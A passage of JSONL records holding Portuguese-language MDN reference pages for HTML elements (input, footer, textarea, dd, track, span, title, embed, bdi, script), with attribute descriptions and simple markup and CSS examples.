`<input>` do tipo `file` abre o seletor de arquivos e permite que o usuário selecione arquivos. Veja Usando arquivos a partir de aplicações web para um exemplo e mais detalhes.\n\nVocê não pode definir o valor de um seletor de arquivos a partir de um script; fazer algo como o seguinte não tem efeito:\n\n\n```js\nvar e = getElementById(\"algumaEntradaDeArquivo\");\ne.value = \"foo\";\n```\n\n### Mensagens de erro\n\nSe você quiser que o Firefox mostre uma mensagem de erro personalizada quando a validação de um campo falha, você pode usar o atributo `x-moz-errormessage` para isso:\n\n\n```html\n<input\n type=\"email\"\n x-moz-errormessage=\"Por favor, especifique um endereço de e-mail.\" />\n```\n\n\nNote, no entanto, que isso não é padronizado e não terá efeito em outros navegadores.\n\nExemplos\n--------\n\n### Uma caixa de entrada simples\n\n\n```html\n<!-- Um campo básico -->\n<input type=\"text\" name=\"input\" value=\"Digite aqui\" />\n```\n\n### Um caso de uso comum\n\n\n```html\n<!-- Um formulário comum que inclui tags input -->\n<form action=\"getform.php\" method=\"get\">\n  Nome: <input type=\"text\" name=\"nome\" /><br />\n  Sobrenome: <input type=\"text\" name=\"sobrenome\" /><br />\n  E-mail: <input type=\"email\" name=\"email\\_usuario\" /><br />\n  <input type=\"submit\" value=\"Enviar\" />\n</form>\n```\n\n### Usando o mozactionhint no Firefox mobile\n\nVocê pode usar o atributo `mozactionhint` para especificar o texto para o rótulo da tecla Enter no teclado virtual quando seu formulário é exibido no Firefox mobile. Por exemplo, para ter um rótulo \"Próximo\", você pode fazer o seguinte:\n\n\n```html\n<input type=\"text\" mozactionhint=\"next\" name=\"sometext\" />\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-input-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos relacionados a formulários: `<form>` (en-US), `<button>`, `<datalist>`, `<legend>`, `<label>`, `<select>`, `<optgroup>`, `<option>`, `<textarea>`, `<fieldset>`, `<output>`, `<progress>` e `<meter>`.\n* Cross-browser HTML5 placeholder text"}
{"title":"footer (rodapé) - HTML: Linguagem de Marcação de Hipertexto","text":"footer (rodapé)\n===============\n\n### Resumo\n\nO elemento HTML de Rodapé (<footer>) representa um rodapé para o seu sectioning content (conteúdo de seção) mais próximo ou sectioning root elemento (ou seja, seu parente mais próximo `<article>`, `<aside>`, `<nav>`, `<section>`, `<blockquote>`, `<body>`, `<details>`, `<fieldset>`, `<figure>`, `<td>` (en-US)). Normalmente um rodapé contém informações sobre o autor da seção de dados, direitos autorais ou links para documentos relacionados.\n\n> \n> **Note:** **Notas de Uso:**\n> \n> \n> * Coloque informações sobre o autor em um elemento `<address>` que pode ser incluído no elemento `<footer>`.\n> * O elemento `<footer>` não é sectioning content portanto, não introduz uma nova seção no outline.\n> \n> \n> \n\nContexto de uso\n---------------\n\n| Conteúdo permitido | Flow content (en-US), mas não o `<footer>` ou `<header>` descendentes. |\n| --- | --- |\n| Omissão de tag | Nenhuma, ambas as tags de início e fim são obrigatórias. |\n| Parent Elements permitidos | Qualquer elemento que aceite flow content (en-US). Note-se que um elemento <footer> não deve ser um descendente de um `<address>`, `<header>` ou outro elemento `<footer>`. |\n| Documento normativo | HTML5, section 4.4.9 |\n\nAtributos\n---------\n\nEste elemento não tem outros atributos que os global attributes (en-US), comuns a todos os elementos.\n\nDOM Interface\n-------------\n\nEste elemento implementa a interface `HTMLElement` (en-US).\n\nExemplos\n--------\n\n\n```html\n<footer>\n  Algumas informações de copyright ou talvez alguma informação do autor de um <article>?\n</footer>\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos de seção relacionados `<body>`, `<nav>`, `<article>`, `<aside>`, `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US), `<hgroup>`, `<header>`, `<section>`, `<address>`;\n* Sections and outlines of an HTML5 document."}
{"title":"<textarea> - HTML: Linguagem de Marcação de Hipertexto","text":"<textarea>\n==========\n\nO **elemento** HTML `<textarea>` representa um controle de edição para uma caixa de texto, útil quando você quer permitir ao usuário informar um texto extenso em formato livre, como um comentário ou formulário de retorno.\n\nExperimente\n-----------\n\nOs exemplos acima demonstram vários recursos do `<textarea>`. O primeiro exemplo mostra o uso mais simples, com apenas um `id` atributo para permitir que o`<textarea>` estar associado a um `<label>` elemento para fins de acessibilidade e um `name` atributo para definir o nome do ponto de dados associado enviado ao servidor quando o formulário é enviado.\n\nO segundo exemplo mostra alguns recursos mais complexos:\n\n* O `rows` e `cols` atributos permitem especificar um tamanho exato para o `<textarea>` pegar. Definir isso é uma boa idéia para manter a consistência, pois os padrões do navegador podem ser diferentes.\n* `maxlength` especifica um número máximo de caracteres que o `<textarea>` tem permissão para conter. Você também pode definir um comprimento mínimo considerado válido usando o `minlength` atributo e especifique que o `<textarea>` não enviará (e é inválido) se estiver vazio, usando o`required` atributo. Isso fornece o `<textarea>` com validação simples, que é mais básica que os outros elementos do formulário (por exemplo, você não pode fornecer regexs específicas para validar o valor usando o método `pattern` atributo, como você pode com o `<input>` elemento).\n* `wrap` especifica o comportamento de quebra automática do texto quando ele atinge a borda do `<textarea>`.\n* Se você deseja conteúdo padrão para o seu `<textarea>`, você o insere entre as tags de abertura e fechamento. `<textarea>` não suporta o `value` atributo.\n\nO `<textarea>` O elemento também aceita vários atributos comuns para formar `<input>`s, tal como`autocomplete`, `autofocus`, `disabled`, `placeholder`, `readonly`, e `required`.\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais.\n\n`autocapitalize` \nNon-standard\n\nEste é um atributo não padrão suportado pelo WebKit no iOS (portanto, quase todos os navegadores executados no iOS, incluindo Safari, Firefox e Chrome), que controla se e como o valor do texto deve ser automaticamente capitalizado quando é inserido / editado pelo do utilizador. Os valores não preteridos estão disponíveis no iOS 5 e posterior. Os valores possíveis são:\n\n* `none`: Desativa completamente a capitalização automática.\n* `sentences`: Coloque automaticamente em maiúscula a primeira letra das frases.\n* `words`: Coloque em maiúscula automaticamente a primeira letra das palavras.\n* `characters`: Colocar em maiúscula automaticamente todos os caracteres.\n* `on`: \nDeprecated\n Descontinuado desde o iOS 5.\n* `off`: \nDeprecated\n Descontinuado desde o iOS 5.\n\n`autocomplete`\n\nEste atributo indica se o valor do controle pode ser preenchido automaticamente pelo navegador. Os valores possíveis são:\n\n* `off`: The user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry.\n* `on`: O navegador pode concluir automaticamente o valor com base nos valores inseridos pelo usuário durante os usos anteriores.\n\nSe o `autocomplete` atributo não está especificado em um `<textarea>` elemento, o navegador usa o elemento `autocomplete` valor do atributo `<textarea>` proprietário do formulário do elemento. O proprietário do formulário é o `<form>` (en-US) elemento que este`<textarea>` elemento é um descendente ou o elemento de formulário cuja `id` é especificado pelo `form` atributo do elemento de entrada. Para mais informações, consulte o `autocomplete` (en-US) atribuno no `<form>` (en-US).\n\n`autofocus`\n\nEsse atributo booleano permite especificar que um controle de formulário tenha foco de entrada quando a página for carregada. Somente um elemento associado ao formulário em um documento pode ter esse atributo especificado.\n\n`cols`\n\nA largura visível do controle de texto, em larguras médias de caracteres. Se for especificado, deve ser um número inteiro positivo. Se não for especificado, o valor padrão é 20.\n\n`disabled`\n\nEsse atributo booleano indica que o usuário não pode interagir com o controle. Se esse atributo não for especificado, o controle herdará sua configuração do elemento que contém, por exemplo `<fieldset>`; se não houver elemento contendo quando o `disabled` atributo estiver definido, o controle está ativado.\n\n`form`\n\nO elemento do formulário que o `<textarea>` elemento está associado (seu \"proprietário do formulário\"). O valor do atributo deve ser o `id` de um elemento de formulário no mesmo documento. Se este atributo não for especificado, o atributo `<textarea>` O elemento deve ser um descendente de um elemento do formulário. Este atributo permite que você coloque`<textarea>` elementos em qualquer lugar do documento, não apenas como descendentes de elementos do formulário.\n\n`maxlength`\n\nO número máximo de caracteres (pontos de código unicode) que o usuário pode inserir. Se esse valor não for especificado, o usuário poderá inserir um número ilimitado de caracteres.\n\n`minlength`\n\nO número mínimo de caracteres (pontos de código unicode) exigidos pelo usuário.\n\n`name`\n\nO nome do controle.\n\n`placeholder`\n\nUma dica para o usuário sobre o que pode ser inserido no controle. Retornos de carro ou feeds de linha no texto do espaço reservado devem ser tratados como quebras de linha ao renderizar a dica.\n\n> \n> **Note:** **Nota: Os espaços reservados devem ser usados apenas para mostrar um exemplo do tipo de dados que deve ser inserido em um formulário; eles não substituem uma adequada** `<label>` elemento vinculado à entrada. Veja Labels e placeholders para uma explicação completa.\n> \n> \n> \n\n`readonly`\n\nEsse atributo booleano indica que o usuário não pode modificar o valor do controle. Ao contrário do `disabled` atributo, o`readonly` O atributo não impede o usuário de clicar ou selecionar no controle. O valor de um controle somente leitura ainda é enviado com o formulário.\n\n`required`\n\nEste atributo especifica que o usuário deve preencher um valor antes de enviar um formulário.\n\n`rows`\n\nO número de linhas de texto visíveis para o controle.\n\n`spellcheck`\n\nEspecifica se o `<textarea>`está sujeito a verificação ortográfica pelo navegador / SO subjacente. o valor pode ser:\n\n* `true`: Indica que o elemento precisa ter sua ortografia e gramática verificadas.\n* `default` :Indica que o elemento deve agir de acordo com um comportamento padrão, possivelmente com base no próprio elemento pai `spellcheck` valor.\n* `false` : Indica que o elemento não deve ter verificação ortográfica.\n\n`wrap`\n\nIndica como o controle quebra o texto. Os valores possíveis são:\n\n* `hard`: O navegador insere automaticamente quebras de linha (CR + LF) para que cada linha não tenha mais que a largura do controle; a `cols` O atributo também deve ser especificado para que isso entre em vigor.\n* `soft`: O navegador garante que todas as quebras de linha no valor consistam em um par CR + LF, mas não insira nenhuma quebra de linha adicional.\n* `off` \nNon-standard\n: Como `soft` mas muda a aparência para `white-space: pre` segmentos de linha que excedam `cols` não estão embrulhados e os `<textarea>` torna-se rolável horizontalmente.\n\nSe este atributo não for especificado, `soft` é o seu valor padrão.\n\nEstilo com CSS\n--------------\n\n`<textarea>` é um elemento substituído - possui dimensões intrínsecas, como uma imagem rasterizada. Por padrão, sua`display` o valor é bloco. Em comparação com outros elementos de formulário, é relativamente fácil de estilizar, com seu modelo de caixa, fontes, esquema de cores etc. sendo facilmente manipuláveis usando CSS comum.\n\nO estilo de formulários HTML fornece algumas dicas úteis sobre estilo (en-US)`<textarea>`s.\n\n### Inconsistência da linha de base\n\nA especificação HTML não define onde a linha de base de um `<textarea>` ou seja, navegadores diferentes o definem em posições diferentes. Para Gecko, o `<textarea>` linha de base é definida na linha de base da primeira linha da primeira linha da área de texto, em outro navegador pode ser definida na parte inferior da `<textarea>`caixa. Não use `vertical-align``: baseline` nele; o comportamento é imprevisível\n\n### Controlando se uma área de texto é redimensionável\n\nNa maioria dos navegadores, `<textarea>`s são redimensionáveis - você notará a alça de arrasto no canto direito, que pode ser usada para alterar o tamanho do elemento na página. Isso é controlado pelo `resize` (en-US) Propriedade CSS - o redimensionamento está ativado por padrão, mas você pode desativá-lo explicitamente usando um`resize` valor de`none`:\n\n\n```css\ntextarea {\n  resize: none;\n}\n```\n\n### Estilo de valores válidos e inválidos\n\nValores válidos e inválidos de um `<textarea>` elemento (por exemplo, dentro e fora dos limites definidos por`minlength`, `maxlength`, ou`required`) pode ser destacado usando o `:valid` e`:invalid` pseudo-classes. Por exemplo, para atribuir à sua área de texto uma borda diferente, dependendo se é válida ou inválida:\n\n\n```css\ntextarea:invalid {\n  border: 2px dashed red;\n}\n\ntextarea:valid {\n  border: 2px solid lime;\n}\n```\n\nExemplo\n-------\n\n### Exemplo básico\n\nO exemplo a seguir mostra uma área de texto muito simples, com um número definido de linhas e colunas e algum conteúdo padrão.\n\n\n```html\n<textarea name=\"textarea\" rows=\"10\" cols=\"50\">Write something here</textarea>\n```\n\n### Comprimento mínimo e máximo\n\nEste exemplo tem um número mínimo e máximo de caracteres - de 10 e 20, respectivamente. Experimente e veja.\n\n\n```html\n<textarea name=\"textarea\" rows=\"5\" cols=\"30\" minlength=\"10\" maxlength=\"20\">\nWrite something here</textarea\n>\n```\n\n\nObserve que `minlength` não impede o usuário de remover caracteres para que o número digitado ultrapasse o mínimo, mas faz com que o valor digitado no `<textarea>` invalide.Observe também que, mesmo se você tiver um `minlength` conjunto de valores (3, por exemplo), um campo vazio `<textarea>` ainda é considerado válido, a menos que você também tenha o `required` conjunto de atributos.\n\n### Placeholder\n\nEste exemplo tem um espaço reservado definido. Observe como ele desaparece quando você começa a digitar na caixa.\n\n\n```html\n<textarea\n name=\"textarea\"\n rows=\"5\"\n cols=\"30\"\n placeholder=\"Comment text.\"></textarea>\n```\n\n\n> \n> **Note:** **Nota: Os espaços reservados devem ser usados apenas para mostrar um exemplo do tipo de dados que deve ser inserido em um formulário; eles não substituem uma adequada**`<label>` elemento vinculado à entrada. Veja Labels e placeholders para uma explicação completa.\n> \n> \n> \n\n### Desativado e somente leitura\n\nEste exemplo mostra dois `<textarea>`s — um dos quais é `disabled`, e o outro é `readonly`.Brinque com os dois e verá a diferença de comportamento - O `disabled` elemento não é selecionável de forma alguma (e seu valor não é enviado), enquanto o elemento `readonly` é selecionável e seu conteúdo copiável (e seu valor é enviado); você simplesmente não pode editar o conteúdo.\n\n\n```html\n<textarea name=\"textarea\" rows=\"5\" cols=\"30\" disabled>\nI am a disabled textarea</textarea\n>\n<textarea name=\"textarea\" rows=\"5\" cols=\"30\" readonly>\nI am a readonly textarea</textarea\n>\n```\n\nResumo técnico\n--------------\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo (en-US) | Elemento associado ao formulário de conteúdo de fluxo, conteúdo de\nfrases, conteúdo interativo, listado, rotulável, redefinível e\nsubmetível a envio. (en-US) |\n| Conteúdo permitido | Text |\n| Omissão de tag | **Parents permitido** |\n| Funções ARIA permitidas | None |\n| DOM interface | `HTMLTextAreaElement` (en-US) |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-textarea-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\nOutros elementos relacionados ao formulário:\n\n* `<form>` (en-US)\n* `<button>`\n* `<datalist>`\n* `<legend>`\n* `<label>`\n* `<select>`\n* `<optgroup>`\n* `<option>`\n* `<input>`\n* `<fieldset>`\n* `<output>`\n* `<progress>`\n* `<meter>`"}
{"title":"<dd>: elemento Detalhes da Descrição - HTML: Linguagem de Marcação de Hipertexto","text":"<dd>: elemento Detalhes da Descrição\n====================================\n\nO **elemento HTML <dd>** fornece detalhes ou uma definição mais completa do termo precedente (definido por `<dt>`) numa lista de descrições (`<dl>`).\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Nenhuma. |\n| Conteúdo permitido | Conteúdo de fluxo. |\n| Omissão de Tag | \n A Tag inicial (`<dd>`) é obrigatória.A Tag\n final (</dd>) pode ser omitida se seguida imediatamente por outro\n elemento `<dd>`, ou se o elemento pai não tiver\n mais conteúdo.\n  |\n| Ancestrais permitidos | `<dl>` ou (em\n WHATWG HTML) uma\n `<div>` que está dentro de uma\n `<dl>`.\n  |\n| Tags irmãs | `<dt>` ou outro elemento\n `<dd>` .\n  |\n| Papeis ARIA permitidos | Nenhum. |\n| Tipo de elemento DOM | `HTMLElement` (en-US) |\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais como seus.\n\n`nowrap` \nNon-standard\n\nSe o valor deste atributo for `yes`, o texto de definição não será envolvido. O valor padrão é `no`.\n\nExemplo\n-------\n\nPara exemplos, veja os exemplos de <dl>.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-dd-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<dl>`\n* `<dt>`"}
{"title":"<track> - HTML: Linguagem de Marcação de Hipertexto","text":"<track>\n=======\n\nO \\*\\*elemento HTML `<track>` \\*\\*é usado como filho dos elementos de mídia`<audio>` e `<video>`. Ele permite que você especifique faixas de texto temporizadas (ou dados baseados em tempo), por exemplo, para lidar automaticamente com legendas. As faixas são formatadas em WebVTT format (en-US) (arquivos `.vtt`) — Web Video Text Tracks or Timed Text Markup Language (TTML).\n\nExperimente\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Nenhuma |\n| Conteúdo permitido | Nenhum, é um empty element (en-US). |\n| Omissão de tag | \n Como é um elemento vazio, a tag inicial deve estar presente e a tag\n final não deve estar presente.\n  |\n| Permite Parentes | \n Um elemento de mídia, antes de qualquer\n conteúdo de fluxo (en-US).\n  |\n| Funções ARIA permitidas | Nenhum |\n| Interface DOM | `HTMLTrackElement` (en-US) |\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`default`\n\nThis attribute indicates that the track should be enabled unless the user's preferences indicate that another track is more appropriate. This may only be used on one `track` element per media element.\n\n`kind`\n\nHow the text track is meant to be used. If omitted the default kind is `subtitles`. If the attribute is not present, it will use the `subtitles`. If the attribute contains an invalid value, it will use `metadata`. (Versions of Chrome earlier than 52 treated an invalid value as `subtitles`.) The following keywords are allowed:\n\n* `subtitles`\n    + Subtitles provide translation of content that cannot be understood by the viewer. For example dialogue or text that is not English in an English language film.\n    + Subtitles may contain additional content, usually extra background information. For example the text at the beginning of the Star Wars films, or the date, time, and location of a scene.\n* `captions`\n    + Closed captions provide a transcription and possibly a translation of audio.\n    + It may include important non-verbal information such as music cues or sound effects. It may indicate the cue's source (e.g. music, text, character).\n    + Suitable for users who are deaf or when the sound is muted.\n* `descriptions`\n    + Textual description of the video content.\n    + Suitable for users who are blind or where the video cannot be seen.\n* `chapters`\n    + Chapter titles are intended to be used when the user is navigating the media resource.\n* `metadata`\n    + Tracks used by scripts. Not visible to the user.\n\n`label`\n\nA user-readable title of the text track which is used by the browser when listing available text tracks.\n\n`src`\n\nAddress of the track (`.vtt` file). Must be a valid URL. This attribute must be specified and its URL value must have the same origin as the document — unless the `<audio>` or `<video>` parent element of the `track` element has a `crossorigin` (en-US) attribute.\n\n`srclang`\n\nLanguage of the track text data. It must be a valid BCP 47 language tag. If the `kind` attribute is set to `subtitles`, then `srclang` must be defined.\n\nUsage notes\n-----------\n\nThe type of data that `track` adds to the media is set in the `kind` attribute, which can take values of `subtitles`, `captions`, `descriptions`, `chapters` or `metadata`. The element points to a source file containing timed text that the browser exposes when the user requests additional data.\n\nA `media` element cannot have more than one `track` with the same `kind`, `srclang`, and `label`.\n\nExamples\n--------\n\n\n```html\n<video controls poster=\"/images/sample.gif\">\n  <source src=\"sample.mp4\" type=\"video/mp4\" />\n  <source src=\"sample.ogv\" type=\"video/ogv\" />\n  <track kind=\"captions\" src=\"sampleCaptions.vtt\" srclang=\"en\" />\n  <track kind=\"descriptions\" src=\"sampleDescriptions.vtt\" srclang=\"en\" />\n  <track kind=\"chapters\" src=\"sampleChapters.vtt\" srclang=\"en\" />\n  <track kind=\"subtitles\" src=\"sampleSubtitles\\_de.vtt\" srclang=\"de\" />\n  <track kind=\"subtitles\" src=\"sampleSubtitles\\_en.vtt\" srclang=\"en\" />\n  <track kind=\"subtitles\" src=\"sampleSubtitles\\_ja.vtt\" srclang=\"ja\" />\n  <track kind=\"subtitles\" src=\"sampleSubtitles\\_oz.vtt\" srclang=\"oz\" />\n  <track kind=\"metadata\" src=\"keyStage1.vtt\" srclang=\"en\" label=\"Key Stage 1\" />\n  <track kind=\"metadata\" src=\"keyStage2.vtt\" srclang=\"en\" label=\"Key Stage 2\" />\n  <track kind=\"metadata\" src=\"keyStage3.vtt\" srclang=\"en\" label=\"Key Stage 3\" />\n  <!-- Fallback -->\n  ...\n</video>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-track-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* WebVTT text track format (en-US)"}
{"title":"<span> - HTML: Linguagem de Marcação de Hipertexto","text":"<span>\n======\n\nResumo\n------\n\nO elemento **HTML `<span>` é um conteiner generico em linha para conteúdo fraseado** , que não representa nada por natureza. Ele pode ser usado para agrupar elementos para fins de estilo (usando os atributos `class` ou `id` ), ou para compartilhar valores de atributos como `lang`. Ele deve ser usado somente quando nenhum outro elemento semântico for apropriado. `<span>` é muito parecido com o elemento `<div>` , entretando `<div>` é um elemento de nível de bloco enquanto `<span>` é um elemento em linha.\n\nContexto de Uso\n---------------\n\n| Categorias de conteúdo | Flow content (en-US), phrasing content (en-US) |\n| --- | --- |\n| Conteúdo permitido | Phrasing content (en-US) |\n| Omissão de Tag | Nenhum, deve ter tanto tag de início quanto tag final. |\n| Elementos pai permitidos | Qualquer elemento que aceite phrasing content (en-US), ou flow content (en-US). |\n| Padrões de documento | HTML5, section 4.6.24; HTML 4.01, section 7.5.4 |\n\nAtributos\n---------\n\nEsse elemento inclui apenas os a (en-US)tributos globais (en-US).\n\nDOM interface\n-------------\n\nEste elemento implementa a interface `HTMLSpanElement` (en-US).\n\nExemplos\n--------\n\n\n```html\n<p><span>Some text</span></p>\n```\n\n### Resultado\n\nSome text\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-span-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Elemento HTML `<div>`"}
{"title":"<title>: O titulo do documento. - HTML: Linguagem de Marcação de Hipertexto","text":"<title>: O titulo do documento.\n===============================\n\nO **elemento HTML** `<title>` (*Elemento HTML Título*) define o título do documento, mostrado na barra de título de um navegador ou na aba da página. Pode conter somente texto e quaisquer marcações contidas no texto não são interpretadas.\n\n* *Categorias de conteúdo (en-US)* Conteúdo de metadados.\n* *Conteúdo permitido* Texto que não seja whitespace entre elementos.\n* *Omissão de marcação* Todas as marcações são necessárias. Perceba que suprimir `</title>` fará o navegador ignorar o resto da página.\n* *Elementos pais permitidos* Um elemento `<head>` que não contenha outro elemento `<title>`.\n* *Funções ARIA permitidas* Nenhuma.\n* *Interface DOM* `HTMLTitleElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui somente os atributos globais (en-US).\n\nNotas de uso\n------------\n\nO elemento `<title>` é sempre usado dentro da `<head>` da página.\n\nExemplo\n-------\n\n\n```html\n<title>Título incrível</title>\n```\n\nPreocupações de acessibilidade\n------------------------------\n\nÉ importante informar um valor para o `title` que descreva o propósito da página.\n\nUma técnica comum de navegação para usuários de tecnologias assistivas é ler o título da página a fim de deduzir o que ela contém. Isso ocorre porque navegar pela página para determinar o conteúdo dela pode ser confuso e consumir muito tempo.\n\n#### Exemplo\n\n\n```html\n<title>\n  Menu - Casa Azul Comida Chinesa - FoodYum: Faça seu pedido online!\n</title>\n```\n\n\nPara ajudar o usuário, atualize o valor do `title` para refletir mudanças significativas no estado da página (como problemas de validação em formulários).\n\n#### Exemplo\n```\n\n<title>2 erros - Seu pedido - Casa Azul Comida Chinesa - FoodYum: Faça seu pedido online!</title>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-title-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"<embed> - HTML: Linguagem de Marcação de Hipertexto","text":"<embed>\n=======\n\nSumário\n-------\n\nO **elemento HTML `<embed>`** incorpora conteúdo externo no ponto especificado no documento. Este conteúdo é fornecido por um aplicativo externo ou outra fonte de conteúdo interativo, como um plug-in de navegador.\n\nExperimente\n-----------\n\n**Nota:** Este tópico documenta apenas o elemento definido como parte do HTML5. Ele não trata da implementação anterior e não padronizada do elemento.\n\nLembre-se de que a maioria dos navegadores modernos descontinuou e removeu o suporte para plug-ins de navegador. Portanto, confiar no `<embed>` geralmente não é aconselhável se você deseja que seu site funcione no navegador do usuário comum.\n\n* *Categoria de conteúdo (en-US)* Flow content (en-US), phrasing content (en-US), embedded content, interactive content, palpable content.\n* *Conteúdo permitido* Nenhum, é um empty element (en-US).\n* *Omissão de Tag* Deve iniciar com uma tag de início, mas não deve ter uma tag de fechamento.\n* *Elementos pai (ancestral) permitidos* Qualquer elemento que aceita incorporação de conteúdo.\n* *Interface DOM* `HTMLEmbedElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`height`\n\nA altura apresentada do recurso, em CSS pixels. Este deve ser um valor absoluto; porcentagens *não* são permitidas.\n\n`src`\n\nA URL do recurso que está sendo incorporado.\n\n`type`\n\nO tipo MIME (en-US) a ser usado para a seleção do *plug-in* de instanciação.\n\n`width`\n\nA largura apresentada do recurso, em CSS pixels. Este deve ser um valor absoluto; porcentagens *não* são permitidas.\n\nExemplo\n-------\n\n\n```html\n<embed type=\"video/quicktime\" src=\"movie.mov\" width=\"640\" height=\"480\" />\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-embed-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n**Nota:** Atualmente existe uma diferença na implementação pelos navegadores. Enquanto carrega, no Chrome e no Opera, aparece o conteúdo do recurso em HTML, no Firefox, mostra uma mensagem genérica falando que o conteúdo precisa de um *plug-in* (veja o Erro do Firefox 730768). É recomendado que se use os elementos `<object>` (en-US) ou `<iframe>`.\n\nVeja também\n-----------\n\n* Outros elementos usados para incorporar conteúdo de vários tipos, incluem: `<audio>`, `<canvas>`, `<iframe>`, `<img>`, `<math> (en-US)`, `<object>` (en-US), `<svg>`, and `<video>`.\n* Posicionamento e dimensionamento de conteúdos incorporados dentro da janela de exibição: `object-position` (en-US) and `object-fit`"}
{"title":"<bdi> - HTML: Linguagem de Marcação de Hipertexto","text":"<bdi>\n=====\n\nResumo\n------\n\nO HTML <bdi>elemento (ou elemento de isolamento de Bi-direcional) isola um trechode texto que pode ser formatado em uma direção diferente de outro texto fora dela.\n\nEste elemento é útil ao incorporar o texto com uma direção desconhecida, de um banco de dados por exemplo, no interior do texto com uma direção fixa.\n\nApesar do mesmo efeito visual pode ser alcançado usando a regra de CSS`unicode-bidi` (en-US): isolar um `<span>` ou outro elemento de formatação de texto, o significado semântico só é transportado pelo elemento de<bdi>. Especialmente, os navegadores podem ignorar estilos CSS. Nesse caso, o texto seria ainda corretamente exibido usando o elemento HTML, mas se tornará lixo quando usando o estilo CSS para transmitir semântica.\n\n* *Content categories (en-US)* Flow content (en-US), phrasing content (en-US), palpable content.\n* *Permitted content*Phrasing content (en-US).\n* *Tag omission* None, both the starting and ending tag are mandatory.\n* *Permitted parent elements* Any element that accepts phrasing content (en-US).\n* *DOM interface* `HTMLElement` (en-US)\nAtributos\n---------\n\nComo todos os outros elementos do HTML, este elemento tem os atributos globais, com uma pequena diferença de semântica: o atributo dir não é herdado. Se não definido, o valor padrão é o auto que deixa o navegador decidir a direção com base no conteúdo do elemento.\n\nExemplo\n-------\n\n\n```html\n<p dir=\"ltr\">\n  Esta palavra arábica <bdi>ARABIC_PLACEHOLDER</bdi> é automaticamente voltada\n  da direita\n</p>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-bdi-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Related HTML element: `<bdo>`\n* Related HTML properties: `direction` (en-US), `unicode-bidi` (en-US)"}
{"title":"<script> - HTML: Linguagem de Marcação de Hipertexto","text":"<script>\n========\n\nO **elemento HTML `<script>`** é usado para incluir ou referenciar um script executável.\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Conteúdo de metadados,\n Fluxo de conteúdo,\n Conteúdo fraseado.\n  |\n| Conteúdo Permitido | Script dinâmico, como `text/javascript`. |\n| Omissão de tag | None, both the starting and ending tag are mandatory. |\n| Pais permitidos | \n Qualquer elemento que aceite\n conteúdo de metadados, ou qualquer elemento que aceite\n conteúdo fraseado.\n  |\n| Regras ARIA permitidas | Nenhuma |\n| Interface DOM | `HTMLScriptElement` (en-US) |\n\nAtributos\n---------\n\nEsse elemento inclui os atributos globais.\n\n`async`\n\nUm atributo booleano indicando que o navegador deve, se possível, executar o script assíncronamente.\n\n> \n> **Warning:** Esse atributo não deve ser utilizado se o atributo `src` estiver ausente (ex. scripts embutidos). Se incluído, nesse caso, ele não terá nenhum efeito.\n> \n> \n> \n\nScripts inseridos dinamicamente (usando `document.createElement`) são executados assincronamente por padrão, então para torná-lo uma execução síncrona (ex. executar scripts na ordem que eles foram carregados) atribua `async=false`.\n\nVeja Browser compatibility para notas no suporte do navegador. Veja também Scripts assíncronos para asm.js (en-US).\n\n`crossorigin`\n\nElementos `script` passam o mínimo de informação para `window.onerror` em scripts que não passem na checagem do CORS (en-US). Para permitir logs de erro para sites que usam domínios diferentes para arquivos estáticos, use esse atributo. Veja CORS settings attributes (en-US) para uma explicação mais detalhada dos argumentos válidos.\n\n`defer`\n\nEsse atributo Boleano é usado para indicar ao navegador que o script deve ser executado depois que o documento tenha sido parseado, mas antes de disparar o evento `DOMContentLoaded (en-US)`\n\nScripts com o atributo `defer` vão impedir que o evento DOMContentLoaded seja disparado até que o script seja carregado e tenha terminado de ser *avaliado*.\n\n> \n> **Warning:** Esse atributo não deve ser usado se o atibuto `src` estiver ausente (ex. scripts inline), nesse caso ele não vai ter efeito.\n> \n> \n> \n\nPara conseguir um efeito similar para scripts inseridos dinamicamente use `async=false`. Scripts com o atributo `defer` vão ser executados na ordem em que aparecem no 